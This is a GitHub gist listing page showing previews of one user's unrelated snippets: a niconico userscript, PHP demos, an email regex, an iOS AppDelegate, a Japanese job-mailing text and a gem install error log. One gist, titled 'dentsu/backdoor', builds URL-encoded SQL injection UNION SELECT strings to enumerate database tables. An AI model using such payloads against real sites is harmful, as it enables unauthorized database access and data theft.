Skip to content

Instantly share code, notes, and snippets.

@miyukki
miyukki / ZeroFix.user.js
Created May 2, 2012 08:48
ZeroFix is ZeroWatch of niconico fixer. ZeroWatchが改良するまでの暫定的なユーザースクリプトです。 タイトルの縮小、タグの複数段表示、市場エリアを投稿者情報に、コメント入力エリアを下に、フェードを無効化などの機能があります。
// ==UserScript==
// @name ZeroFix
// @namespace applest.net
// @version 0.9
// @description ZeroFix is ZeroWatch of niconico fixer. ZeroWatchが改良するまでの暫定的なユーザースクリプトです。 タイトルの縮小、タグの複数段表示、市場エリアを投稿者情報に、コメント入力エリアを下に、フェードを無効化などの機能があります。
// @include http://www.nicovideo.jp/watch/*
// @license MIT License(http://en.wikipedia.org/wiki/MIT_License)
// ==/UserScript==
/*********************************************
@miyukki
miyukki / ZeroFixFramework#transition support
Created May 11, 2012 11:23
ZeroFixFramework#transition support
# transition support
# you must add adapted code of "pushState loading" to "zero_fix.refresh"
watch_elements = window.document.querySelectorAll('.watch')
for element in watch_elements
element.addEventListener('click', (event) -> window.zero_fix.refresh )
window.addEventListener('popstate', (event) -> window.zero_fix.refresh )
@miyukki
miyukki / substr_count_vs_preg_match_all.php
Created July 31, 2012 09:03
substr_count vs preg_match_all
<?php
$needle = '';
$str = 'hello, world!';
$search_str = 'hello';
$count = 100;
for($i = 0; $i < $count; $i++) {
$needle .= $str;
}
@miyukki
miyukki / gist:7371046
Created November 8, 2013 13:28
Regex of mailladdress in japanese service. This is not strict regex!
^[^@]+@[0-9,A-Z,a-z][0-9,a-z,A-Z,_,\.,-]+\.(af|al|dz|as|ad|ao|ai|aq|ag|ar|am|aw|ac|au|at|az|bh|bd|bb|by|bj|bm|bt|bo|ba|bw|br|io|bn|bg|bf|bi|kh|cm|ca|cv|cf|td|gg|je|cl|cn|cx|cc|co|km|cg|cd|ck|cr|ci|hr|cu|cy|cz|dk|dj|dm|do|tp|ec|eg|sv|gq|er|ee|et|fk|fo|fj|fi|fr|gf|pf|tf|fx|ga|gm|ge|de|gh|gi|gd|gp|gu|gt|gn|gw|gy|ht|hm|hn|hk|hu|is|in|id|ir|iq|ie|im|il|it|jm|jo|kz|ke|ki|kp|kr|kw|kg|la|lv|lb|ls|lr|ly|li|lt|lu|mo|mk|mg|mw|my|mv|ml|mt|mh|mq|mr|mu|yt|mx|fm|md|mc|mn|ms|ma|mz|mm|na|nr|np|nl|an|nc|nz|ni|ne|ng|nu|nf|mp|no|om|pk|pw|pa|pg|py|pe|ph|pn|pl|pt|pr|qa|re|ro|ru|rw|kn|lc|vc|ws|sm|st|sa|sn|sc|sl|sg|sk|si|sb|so|za|gs|es|lk|sh|pm|sd|sr|sj|sz|se|ch|sy|tw|tj|tz|th|bs|ky|tg|tk|to|tt|tn|tr|tm|tc|tv|ug|ua|ae|uk|us|um|uy|uz|vu|va|ve|vn|vg|vi|wf|eh|ye|yu|zm|zw|com|net|org|gov|edu|int|mil|biz|info|name|pro|jp)$
<?php
class A {
public static $name = "ClassA";
public static function printStatic() {
echo static::$name.PHP_EOL;
}
public static function printSelf() {
echo self::$name.PHP_EOL;
}
var a = Encoding.Base64.toByteArray("7RoI4fQSXZSJWPVTZNgF8dQ1Tko3XJclMfbViuYsopv8BGBGwJVyEERnjIjHNIcKOAgar4WgkGKrj6mMDdZtJrNrSq/1d9ltni1vpaPO0xt16+rTx2FNdcGAFMi1FNF1wbpX/24XMRZX/lGuH5W3dzn1FCKODPyaFcfJ21aIP6pby3TSN9jpoMDnG4zDwyNTXWq74vGCQeP6NPY1E34vUlo/Yh5jF2aJ2p/ECldD88AJCsFEh3CX09M212R79VtOww4Q+DOlccFGxY3QNHpXsoQA/ZBH4LT3ek7C3+drWrmWDa7tsttMg33OGK+HfO1bI04g6BVj/GfeocQ/Y+8ad6SyeZzctQinoL2xT4YqjMgFlbcxxhDhWJiymsrVkTpoUJLVtYEGt7DbGjArA/I+z56magV+0wbcOWBkT0ylRDfMYubX934n5fW8fh/NhflWY0Dv0FPJTLkaWWD/m5fQ2vBNZEHkyvs5M0pmFII2EBqFJUG7oOwYW9ryhISflZhnelGAqlVOe58BDN3MMjNYPPCjxtoHPeiaiVEB/exQINdMGTML8nmWwdlq1w5JkNWncPGqLuZKKFG2b/iscSREv1fCELhe5Xihvfch4ajmQNmVSAJyJfKOPVpbZpPv4eVcX3LMz66+S0Cq/0jFWN54YmiD0BHgyeEmhKJiZtUgiKLA9rz2e74CtQCgkF50HerlWwOEYA78yoyiKDvCTOdf91UBXTwzmlJDBl46DUj9zuA00ifIlfSoVPry36Y3+rQTKyeQNiAo7rpScAQu1KBwqJ1kNhpz6UW9j0NB+luJnf1g6roiMHSYX4NM9hJfURjwfVlr/EoL3Ne0zAQmDv/iGU0T/fjsBxWyJHQdBtAvYosp92kGlFuVi/pfFw0AJUCVc5jQrcuFoChmpHyezDxiRMLxa7cPnPJLH+VRGaHKYw6ULZQgGRkUw40D06QDS3Vkc+fOdWVGK58Fqd0zpptGklQkh6l
こんばんは。キャリアトレック事務局です。
本日は、【3月1日~14日までのエンジニア求人応募数ランキング】をお届けします!
他のユーザーはどのような企業に応募しているの?
ご興味のあるエンジニアの方はぜひチェックしてください。
━━━━━━━━━━━━━━━━
【第10位】
ゲーム、パチンコ、映画、CM等のクオリティの作品を世に出し続け、3DCG制作に携わるシステム構築【プログラマー 】
@miyukki
miyukki / AppDelegate.m
Created April 17, 2014 02:18
Suspected SplashScreen on AppDelegate
#import "AppDelegate.h"
@implementation AppDelegate
@synthesize window;
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
// スプラッシュスクリーン画像名の判定
NSString *launchImage;
@miyukki
miyukki / gist:ab34ec9263f8cb5b5ebe
Last active August 29, 2015 14:02
dentsu/backdoor
<?php
for($i = 1; $i < 20000; $i++) {
$request = "";
for($j = 0; $j < 99; $j++) {
$i++;
$table_num = sprintf("%05d", $i);
$request .= 'UNION%0dSELECT%0d*%0dfrom%0dtable'.$table_num.'%0d';
echo $table_num.PHP_EOL;
}
➜ git:(master) ✗ NOKOGIRI_USE_SYSTEM_LIBRARIES=1 sudo gem install nokogiri -- --with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/local/Cellar/libxml2/2.9.1/lib/ --with-xslt-dir=/usr/local/Cellar/libxslt/1.1.28 --with-iconv-include=/usr/local/Cellar/libiconv/1.13.1/include/ --with-iconv-lib=/usr/local/Cellar/libiconv/1.13.1/lib
Building native extensions with: '--with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/local/Cellar/libxml2/2.9.1/lib/ --with-xslt-dir=/usr/local/Cellar/libxslt/1.1.28 --with-iconv-include=/usr/local/Cellar/libiconv/1.13.1/include/ --with-iconv-lib=/usr/local/Cellar/libiconv/1.13.1/lib'
This could take a while...
Building nokogiri using packaged libraries.
ERROR: Error installing nokogiri:
ERROR: Failed to build gem native extension.
/System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/ruby extconf.rb --with-xml2-include=/usr/local/Cellar/libxml2/2.9.1/include/libxml2 --with-xml2-lib=/usr/l